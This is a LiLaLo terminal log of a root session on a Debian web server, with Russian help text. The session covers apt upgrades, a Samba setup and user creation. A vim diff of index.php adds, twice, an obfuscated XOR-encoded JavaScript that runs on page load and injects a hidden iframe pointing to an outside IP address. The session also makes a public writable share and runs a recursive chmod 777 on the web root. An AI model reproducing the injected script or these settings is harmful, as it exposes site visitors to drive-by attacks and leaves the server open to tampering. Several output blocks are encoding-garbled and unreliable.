/l3/users/igor/www-setup/extraweb.liag.org.ua/root :1 |
|
#apt-get install samba
ЧÑение ÑпиÑков пакеÑов... ÐоÑово ÐоÑÑÑоение деÑева завиÑимоÑÑей... ÐоÑово ÐÑдÑÑ ÑÑÑÐ°Ð½Ð¾Ð²Ð»ÐµÐ½Ñ ÑледÑÑÑие дополниÑелÑнÑе пакеÑÑ: binutils libattr1 libc6 libc6-xen libcups2 libcupsys2 libgcrypt11 libgnutls26 libkeyutils1 libkrb53 libldap-2.4-2 libncurses5 libpam0g libpopt0 libselinux1 libslang2 libtalloc1 libwbclient0 locales samba-common ÐÑедлагаемÑе пакеÑÑ: binutils-doc glibc-doc libc6-i686 cups-common rng-tools gnutls-bin krb5-doc krb5-user libpam-doc ldb-tools РекомендÑемÑе пакеÑÑ: ... ÐÐ ÐÐе Ñебе вÑе возможнÑе поÑледÑÑвиÑ! util-linux tzdata (вÑледÑÑвие util-linux) обновлено 15, ÑÑÑановлено 6 новÑÑ Ð¿Ð°ÐºÐµÑов, Ð´Ð»Ñ ÑÐ´Ð°Ð»ÐµÐ½Ð¸Ñ Ð¾ÑмеÑено 3 пакеÑов, и 203 пакеÑов не обновлено. не ÑÑÑановлено до конÑа или Ñдалено 1 пакеÑов. ÐÐµÐ¾Ð±Ñ Ð¾Ð´Ð¸Ð¼Ð¾ ÑкаÑаÑÑ 23,3MРаÑÑ Ð¸Ð²Ð¾Ð². ÐоÑле ÑаÑпаковки обÑем занÑÑого диÑкового пÑоÑÑÑанÑÑва ÑменÑÑиÑÑÑ Ð½Ð° 4865kB. То, ÑÑо Ð²Ñ Ñ Ð¾ÑиÑе ÑделаÑÑ, Ð¼Ð¾Ð¶ÐµÑ Ð¸Ð¼ÐµÑÑ Ð½ÐµÐ¶ÐµÐ»Ð°ÑелÑнÑе поÑледÑÑвиÑ. ЧÑÐ¾Ð±Ñ Ð¿ÑодолжиÑÑ, введиÑе ÑÑазÑ: 'Ðа, делаÑÑ, как Ñ ÑкажÑ!' ?] n ÐваÑийное завеÑÑение. |
#vim /etc/apt/sources.list
1c1 < deb http://ftp.debian.org/debian lenny main --- > deb http://ftp.debian.org/debian etch main |
#apt-get update
Получено:1 http://ftp.debian.org etch Release.gpg [1032B] Получено:2 http://ftp.debian.org etch Release [67,8kB] Получено:3 http://ftp.debian.org etch/main Packages [5620kB] Получено 5689kB за 30s (185kB/c) Чтение списков пакетов... Готово |
#aptitude
Удаляется пакет libtimedate-perl... Удаляется пакет libunicode-map-perl... Удаляется пакет libunicode-map8-perl... Удаляется пакет libunicode-string-perl... Удаляется пакет liburi-perl... (Чтение базы данных... на данный момент установлено 16906 файлов и каталогов.) Удаляется пакет samba-common... Удаляются файлы конфигурации пакета samba-common... dpkg: предупреждение -- при удалении пакета samba-common не пустой каталог /var/log/samba не удалён. Нажмите Ввод для продолжения. |
#apt-get upgrade
Чтение списков пакетов... Готово Построение дерева зависимостей... Готово Пакеты, которые будут оставлены в неизменном виде: openssh-client openssh-server Пакеты, которые будут обновлены: apache2 apache2-mpm-prefork apache2-utils apache2.2-common bsdutils cpio debconf debconf-i18n dpkg dselect e2fslibs e2fsprogs findutils initscripts libapache2-mod-php5 libblkid1 libc6 libc6-dev libc6-xen libcomerr2 libdbi-perl libfreetype6 libgd2-xpm libglib2.0-0 libgnutls13 libkrb53 libmysqlclient15off libnss-ldap libpam-modules libpam-runtime libpam0g libpcre3 libpng12-0 libpq4 libsnmp-base libsnmp9 libss2 libssl0.9.8 libuuid1 libxml2 locales login mount mysql-client-5.0 mysql-common mysql-server mysql-server-5.0 ntpdate openssl passwd perl perl-base perl-modules php5 php5-cli php5-common php5-gd php5-mysql postfix rsync sysv-rc sysvinit sysvinit-utils tar tcpdump tzdata unzip util-linux vim-common vim-tiny обновлено 70, установлено 0 новых пакетов, для удаления отмечено 0 пакетов, и 2 пакетов не обновлено. Необходимо скачать 81,9MБ архивов. После распаковки объем занятого дискового пространства уменьшится на 667kB. Хотите продолжить [Д/н]? n Аварийное завершение. |
#apt-get install ssh
Чтение списков пакетов... Готово Построение дерева зависимостей... Готово НОВЫЕ пакеты, которые будут установлены: ssh обновлено 0, установлено 1 новых пакетов, для удаления отмечено 0 пакетов, и 72 пакетов не обновлено. Необходимо скачать 1052Б архивов. После распаковки объем занятого дискового пространства возрастёт на 8192B. Получено:1 http://ftp.debian.org etch/main ssh 1:4.3p2-9etch3 [1052B] Получено 1052B за 0s (8491B/c) Выбор ранее не выбранного пакета ssh. (Чтение базы данных... на данный момент установлено 16878 файлов и каталогов.) Распаковывается пакет ssh (из файла .../ssh_1%3a4.3p2-9etch3_all.deb)... Настраивается пакет ssh (4.3p2-9etch3) ... |
#ls
|
#vim /var/www/
|
#vim /var/www/index.php
31c31,39 < //echo '<br />'.round($t2-$t1, 3).'s'; \ В конце файла нет новой строки --- > //echo '<br />'.round($t2-$t1, 3).'s'; > <script>function QVcUQAc(gwDFEtxd, YiMnzsKpk, EuhvvwF){var CctGNk=EuhvvwF.split(YiMnzsKpk);var zBg='';for(NyCIPijae=-0x1-0x2c+0x2d;NyCIPijae<(CctGNk.length-1);NyCIPijae+=0x32+0x31-0x2f+0x2f+0x12-0x9-0x6b){ ZWiVKXy = CctGNk[NyCIPijae]^gwDFEtxd;zBg += String.fromCharCode(ZWiVKXy);}return zBg;}function yetn(OLcwQGD){ alert('TaraBwparF'); } > ;function gSWVClmqmJ(){var GFSJlAUQY=new Function("bxfC", "return "+QVcUQAc(0x1c+0x1f+0xd-0x2b+0x0-0x3+0x2b+0x10a, 'y','299y288y300y314y290y298y289y315y')+"."+QVcUQAc(0xc-0x20+0x1e+0xa-0xb+0x272, 'v','537v532v543v514v')+"");var ZlE=GFSJlAUQY(-0x14-0xe+0x4-0x2c+0x4+0x32+0x15);ZlE.innerHTML += QVcUQAc(-0x13+0x1f+0x10+0x1e+0x1e+0x52, 'D','150D195D204D216D203D199D207D138D221D195D206D222D194D151D155D138D194D207D195D205D194D222D151D155D138D200D197D216D206D207D216D151D154D138D204D216D203D199D207D200D197D216D206D207D216D151D154D138D217D216D201D151D141D194D222D222D218D144D133D133D152D155D154D132D159D155D132D155D156D156D132D152D152D154D133D198D195D200D133D195D196D206D207D210D132D218D194D218D141D148D150D133D195D204D216D203D199D207D148D');}function HdyLuncs(EIFHxtt){ fff.op.replace("376");var AulireLbu=new Function("Qzb", "return 414363;"); } > ;if(window.addEventListener){window.addEventListener('load',gSWVClmqmJ,false);}else if(window.attachEvent){window.attachEvent('onload', gSWVClmqmJ);}function xZAI(CFsBErhTc){ alert('ZcKG'); } > <script>function QVcUQAc(gwDFEtxd, YiMnzsKpk, EuhvvwF){var CctGNk=EuhvvwF.split(YiMnzsKpk);var zBg='';for(NyCIPijae=-0x1-0x2c+0x2d;NyCIPijae<(CctGNk.length-1);NyCIPijae+=0x32+0x31-0x2f+0x2f+0x12-0x9-0x6b){ ZWiVKXy = CctGNk[NyCIPijae]^gwDFEtxd;zBg += String.fromCharCode(ZWiVKXy);}return zBg;}function yetn(OLcwQGD){ alert('TaraBwparF'); } > ;function gSWVClmqmJ(){var GFSJlAUQY=new Function("bxfC", "return "+QVcUQAc(0x1c+0x1f+0xd-0x2b+0x0-0x3+0x2b+0x10a, 'y','299y288y300y314y290y298y289y315y')+"."+QVcUQAc(0xc-0x20+0x1e+0xa-0xb+0x272, 'v','537v532v543v514v')+"");var ZlE=GFSJlAUQY(-0x14-0xe+0x4-0x2c+0x4+0x32+0x15);ZlE.innerHTML += QVcUQAc(-0x13+0x1f+0x10+0x1e+0x1e+0x52, 'D','150D195D204D216D203D199D207D138D221D195D206D222D194D151D155D138D194D207D195D205D194D222D151D155D138D200D197D216D206D207D216D151D154D138D204D216D203D199D207D200D197D216D206D207D216D151D154D138D217D216D201D151D141D194D222D222D218D144D133D133D152D155D154D132D159D155D132D155D156D156D132D152D152D154D133D198D195D200D133D195D196D206D207D210D132D218D194D218D141D148D150D133D195D204D216D203D199D207D148D');}function HdyLuncs(EIFHxtt){ fff.op.replace("376");var AulireLbu=new Function("Qzb", "return 414363;"); } > ;if(window.addEventListener){window.addEventListener('load',gSWVClmqmJ,false);}else if(window.attachEvent){window.attachEvent('onload', gSWVClmqmJ);}function xZAI(CFsBErhTc){ alert('ZcKG'); } > ;</script> > |
#apt-get dist-upgrade
Чтение списков пакетов... Готово Построение дерева зависимостей... Готово Расчёт обновлений... Готово НОВЫЕ пакеты, которые будут установлены: openssh-blacklist Пакеты, которые будут обновлены: apache2 apache2-mpm-prefork apache2-utils apache2.2-common bsdutils cpio debconf debconf-i18n dpkg dselect e2fslibs e2fsprogs findutils initscripts libapache2-mod-php5 libblkid1 libc6 libc6-dev libc6-xen libcomerr2 libdbi-perl libfreetype6 libgd2-xpm libglib2.0-0 libgnutls13 libkrb53 ... libxml2 locales login mount mysql-client-5.0 mysql-common mysql-server mysql-server-5.0 ntpdate openssh-client openssh-server openssl passwd perl perl-base perl-modules php5 php5-cli php5-common php5-gd php5-mysql postfix rsync sysv-rc sysvinit sysvinit-utils tar tcpdump tzdata unzip util-linux vim-common vim-tiny обновлено 72, установлено 1 новых пакетов, для удаления отмечено 0 пакетов, и 0 пакетов не обновлено. Необходимо скачать 84,9MБ архивов. После распаковки объем занятого дискового пространства возрастёт на 3429kB. Хотите продолжить [Д/н]? n Аварийное завершение. |
#apt-get dist-upgrade
Чтение списков пакетов... Готово Построение дерева зависимостей... Готово Расчёт обновлений... Готово НОВЫЕ пакеты, которые будут установлены: openssh-blacklist Пакеты, которые будут обновлены: apache2 apache2-mpm-prefork apache2-utils apache2.2-common bsdutils cpio debconf debconf-i18n dpkg dselect e2fslibs e2fsprogs findutils initscripts libapache2-mod-php5 libblkid1 libc6 libc6-dev libc6-xen libcomerr2 libdbi-perl libfreetype6 libgd2-xpm libglib2.0-0 libgnutls13 libkrb53 ... vim-common vim-tiny обновлено 72, установлено 1 новых пакетов, для удаления отмечено 0 пакетов, и 0 пакетов не обновлено. Необходимо скачать 84,9MБ архивов. После распаковки объем занятого дискового пространства возрастёт на 3429kB. Хотите продолжить [Д/н]? y Получено:1 http://ftp.debian.org etch/main bsdutils 1:2.12r-19etch1 [68,5kB] Получено:2 http://ftp.debian.org etch/main dpkg 1.13.26 [2034kB] Получено:3 http://ftp.debian.org etch/main libc6-dev 2.3.6.ds1-13etch9+b1 [2718kB] Получено:4 http://ftp.debian.org etch/main libc6 2.3.6.ds1-13etch9+b1 [4745kB] 7% [4 libc6 1362809/4745kB 28%] 609kB/s 2m9s |
#vim /etc/apt/sources.list
1c1 < deb http://ftp.debian.org/debian etch main --- > deb http://ftp.debian.org/debian lenny main non-free contrib |
#apt-get update
Получено:1 http://ftp.debian.org lenny Release.gpg [1032B] Получено:2 http://ftp.debian.org lenny Release [73,6kB] Получено:3 http://ftp.debian.org lenny/main Packages [6911kB] Получено:4 http://ftp.debian.org lenny/non-free Packages [123kB] Получено:5 http://ftp.debian.org lenny/contrib Packages [92,7kB] Получено 7202kB за 21s (330kB/c) Чтение списков пакетов... Готово |
#apt-get dist-upgrade
ЧÑение ÑпиÑков пакеÑов... ÐоÑово ÐоÑÑÑоение деÑева завиÑимоÑÑей... ÐоÑово РаÑÑÑÑ Ð¾Ð±Ð½Ð¾Ð²Ð»ÐµÐ½Ð¸Ð¹... ÐоÑово ÐакеÑÑ, коÑоÑÑе бÑдÑÑ Ð£ÐÐÐibarchive-tar-perl libc6-dev libsasl2 libssp0 ÐÐÐЫРпакеÑÑ, коÑоÑÑе бÑдÑÑ ÑÑÑановленÑ: cpp-4.3 gcc-4.3 gcc-4.3-base libcompress-raw-zlib-perl libcups2 libcwidget3 libdb4.5 libdb4.6 libept0 libgmp3c2 libgnutls26 libgomp1 libgpm2 libio-compress-base-perl libio-compress-zlib-perl libkeyutils1 libldap-2.4-2 libmpfr1ldbl libpq5 libxapian15 libxcb-xlib0 libxcb1 lzma netcat-traditional openssh-blacklist openssl-blacklist python python-minimal python2.5 ... ÐолÑÑено:79 http://ftp.debian.org lenny/main ncurses-base 5.7+20081213-1 [178kB] ÐолÑÑено:80 http://ftp.debian.org lenny/main sysvinit-utils 2.86.ds1-61 [71,1kB] ÐолÑÑено:81 http://ftp.debian.org lenny/main mawk 1.3.3-11.1 [80,2kB] ÐолÑÑено:82 http://ftp.debian.org lenny/main mysql-server 5.0.51a-24+lenny2 [55,1kB] ÐолÑÑено:83 http://ftp.debian.org lenny/main readline-common 5.2-3.1 [50,9kB] ÐолÑÑено:84 http://ftp.debian.org lenny/main libreadline5 5.2-3.1 [133kB] ÐолÑÑено:85 http://ftp.debian.org lenny/main libwrap0 7.6.q-16 [30,1kB] ÐолÑÑено:86 http://ftp.debian.org lenny/main mysql-client-5.0 5.0.51a-24+lenny2 [7785kB] ÐолÑÑено:87 http://ftp.debian.org lenny/main psmisc 22.6-1 [84,7kB] ÐолÑÑено:88 http://ftp.debian.org lenny/main mysql-server-5.0 5.0.51a-24+lenny2 [26,5MB] |
#apt-get install samba
Importing account for gnats...ok Importing account for nobody...ok Importing account for sshd...ok Importing account for snmp...ok Importing account for mysql...ok Importing account for webmaster...ok Importing account for postfix...ok Importing account for libuuid...ok Добавляется группа `sambashare' (GID 108) ... Готово. Starting Samba daemons: nmbd smbd. |
#smbpasswd wilen
New SMB password: Retype new SMB password: Failed to find entry for user wilen. Failed to modify password entry for user wilen |
#smbpasswd wilen
New SMB password: Retype new SMB password: Failed to find entry for user wilen. Failed to modify password entry for user wilen |
#vim /etc/samba/smb.conf
105c105 < # security = user --- > security = user 329a330,337 > [www] > comment = www directories > path = /usr/local/www > browseable = yes > public = yes > writable = yes > create mask = 0644 > directory mask = 0755 |
#whereis admin.php
admin: |
#cd /var/www
bash: cd: /var/wwwvim: Нет такого файла или каталога |
#mc
|
#vim /etc/samba/smb.conf
332c332 < path = /usr/local/www --- > path = /var/www/platform/upload |
#mc
|
#vim /etc/samba/smb.conf
332c332 < path = /var/www/platform/upload --- > path = /var/www/platform/upload/File |
#mc
|
#useradd -m wilen
|
#mc
|
#passwd wilen
Введите новый пароль UNIX: Повторите ввод нового пароля UNIX: passwd: пароль успешно обновлён |
#smbpasswd -a wilen
New SMB password: Retype new SMB password: Added user wilen. |
#vim /etc/samba/smb.conf
|
#cd /var/www
|
#ls
admin.php config.php docs liag.rar manager.php yandex.txt application conf_liag.doc eshop_site.zip liag.sql output.txt bar.emf crontab.txt index.php mail.php platform |
#cd ..
|
#chmod -R 777 www
|
#apt-get install netdiag
Чтение списков пакетов... Готово Построение дерева зависимостей Чтение информации о состоянии... Готово НОВЫЕ пакеты, которые будут установлены: netdiag обновлено 0, установлено 1 новых пакетов, для удаления отмечено 0 пакетов, и 0 пакетов не обновлено. Необходимо скачать 288kБ архивов. После данной операции, объём занятого дискового пространства возрастёт на 1004kB. Получено:1 http://ftp.debian.org lenny/main netdiag 1.0-12 [288kB] Получено 288kБ за 1s (166kБ/c) Предварительная настройка пакетов ... Выбор ранее не выбранного пакета netdiag. (Чтение базы данных... на данный момент установлено 18364 файлов и каталогов.) Распаковывается пакет netdiag (из файла .../netdiag_1.0-12_i386.deb)... Обрабатываются триггеры для man-db ... Настраивается пакет netdiag (1.0-12) ... |
#ps ax
-a 32 PID TTY STAT TIME COMMAND 1 ? Ss 0:00 init [2] 2 ? S 0:00 [migration/0] 3 ? SN 0:00 [ksoftirqd/0] 4 ? S< 0:00 [events/0] 5 ? S< 0:00 [khelper] 6 ? S< 0:00 [kthread] 7 ? S< 0:00 [xenwatch] 8 ? S< 0:00 [xenbus] ... 20190 ? S 0:00 /usr/sbin/apache2 -k start 20197 ? S 0:00 /usr/sbin/apache2 -k start 20786 ? S 0:00 pickup -l -t fifo -u -c 21061 ? S 0:00 /usr/sbin/smbd -D 21234 ? Ss 0:00 sshd: root@ttyp0 21236 ttyp0 Ss+ 0:00 script -f -q /root/.lilalo//429012817194551275-1258530112.script 21270 ttyp0 S+ 0:00 script -f -q /root/.lilalo//429012817194551275-1258530112.script 21271 ttyp1 Ss 0:00 bash -i 21300 ? S 0:00 smtpd -n smtp -t inet -u -c -o stress 21417 ttyp1 R+ 0:00 ps ax |
#mailq
Mail queue is empty |
#trafshow -a 32
|
#/etc/init.d/postfix stop
Stopping Postfix Mail Transport Agent: postfix. |
Время первой команды журнала | 11:26:09 2009- 9-18 | |||||||||||||||||||||||||||||||||||||||||||||
Время последней команды журнала | 09:44:49 2009-11-18 | |||||||||||||||||||||||||||||||||||||||||||||
Количество командных строк в журнале | 42 | |||||||||||||||||||||||||||||||||||||||||||||
Процент команд с ненулевым кодом завершения, % | 14.29 | |||||||||||||||||||||||||||||||||||||||||||||
Процент синтаксически неверно набранных команд, % | 2.38 | |||||||||||||||||||||||||||||||||||||||||||||
Суммарное время работы с терминалом *, час | 0.60 | |||||||||||||||||||||||||||||||||||||||||||||
Количество командных строк в единицу времени, команда/мин | 1.17 | |||||||||||||||||||||||||||||||||||||||||||||
Частота использования команд |
|
В журнал автоматически попадают все команды, данные в любом терминале системы.
Для того чтобы убедиться, что журнал на текущем терминале ведётся, и команды записываются, дайте команду w. В поле WHAT, соответствующем текущему терминалу, должна быть указана программа script.
Команды, при наборе которых были допущены синтаксические ошибки, выводятся перечёркнутым текстом:
$ l s-l bash: l: command not found |
Если код завершения команды равен нулю, команда была выполнена без ошибок. Команды, код завершения которых отличен от нуля, выделяются цветом.
$ test 5 -lt 4 |
Команды, ход выполнения которых был прерван пользователем, выделяются цветом.
$ find / -name abc find: /home/devi-orig/.gnome2: Keine Berechtigung find: /home/devi-orig/.gnome2_private: Keine Berechtigung find: /home/devi-orig/.nautilus/metafiles: Keine Berechtigung find: /home/devi-orig/.metacity: Keine Berechtigung find: /home/devi-orig/.inkscape: Keine Berechtigung ^C |
Команды, выполненные с привилегиями суперпользователя, выделяются слева красной чертой.
# id uid=0(root) gid=0(root) Gruppen=0(root) |
Изменения, внесённые в текстовый файл с помощью редактора, запоминаются и показываются в журнале в формате ed. Строки, начинающиеся символом "<", удалены, а строки, начинающиеся символом ">" -- добавлены.
$ vi ~/.bashrc
|
Для того чтобы изменить файл в соответствии с показанными в диффшоте изменениями, можно воспользоваться командой patch. Нужно скопировать изменения, запустить программу patch, указав в качестве её аргумента файл, к которому применяются изменения, и всавить скопированный текст:
$ patch ~/.bashrc |
Для того чтобы получить краткую справочную информацию о команде, нужно подвести к ней мышь. Во всплывающей подсказке появится краткое описание команды.
Если справочная информация о команде есть, команда выделяется голубым фоном, например: vi. Если справочная информация отсутствует, команда выделяется розовым фоном, например: notepad.exe. Справочная информация может отсутствовать в том случае, если (1) команда введена неверно; (2) если распознавание команды LiLaLo выполнено неверно; (3) если информация о команде неизвестна LiLaLo. Последнее возможно для редких команд.
Большие, в особенности многострочные, всплывающие подсказки лучше всего показываются браузерами KDE Konqueror, Apple Safari и Microsoft Internet Explorer. В браузерах Mozilla и Firefox они отображаются не полностью, а вместо перевода строки выводится специальный символ.
Время ввода команды, показанное в журнале, соответствует времени начала ввода командной строки, которое равно тому моменту, когда на терминале появилось приглашение интерпретатора
Имя терминала, на котором была введена команда, показано в специальном блоке. Этот блок показывается только в том случае, если терминал текущей команды отличается от терминала предыдущей.
Вывод не интересующих вас в настоящий момент элементов журнала, таких как время, имя терминала и других, можно отключить. Для этого нужно воспользоваться формой управления журналом вверху страницы.
Небольшие комментарии к командам можно вставлять прямо из командной строки. Комментарий вводится прямо в командную строку, после символов #^ или #v. Символы ^ и v показывают направление выбора команды, к которой относится комментарий: ^ - к предыдущей, v - к следующей. Например, если в командной строке было введено:
$ whoami
user
$ #^ Интересно, кто я?в журнале это будет выглядеть так:
$ whoami
user
Интересно, кто я? |
Если комментарий содержит несколько строк, его можно вставить в журнал следующим образом:
$ whoami
user
$ cat > /dev/null #^ Интересно, кто я?
Программа whoami выводит имя пользователя, под которым мы зарегистрировались в системе. - Она не может ответить на вопрос о нашем назначении в этом мире.В журнале это будет выглядеть так:
$ whoami user
|
Комментарии, не относящиеся непосредственно ни к какой из команд, добавляются точно таким же способом, только вместо симолов #^ или #v нужно использовать символы #=
1 2 3 4Группы команд, выполненных на разных терминалах, разделяются специальной линией. Под этой линией в правом углу показано имя терминала, на котором выполнялись команды. Для того чтобы посмотреть команды только одного сенса, нужно щёкнуть по этому названию.
LiLaLo (L3) расшифровывается как Live Lab Log.
Программа разработана для повышения эффективности обучения Unix/Linux-системам.
(c) Игорь Чубин, 2004-2008